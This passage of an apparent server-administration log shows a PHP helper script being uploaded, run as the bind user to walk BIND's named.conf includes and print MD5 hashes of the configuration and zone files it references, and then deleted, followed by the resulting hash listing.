MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:49:07: Establishing a connection
2026-04-25 10:49:07: 

PUT: /tmp/pkp109855

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:49:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp109855; rm /tmp/pkp109855'

2026-04-25 10:49:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:49:09: Establishing a connection
2026-04-25 10:49:10: 

PUT: /tmp/pkp238063

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:49:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp238063; rm /tmp/pkp238063'

2026-04-25 10:49:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
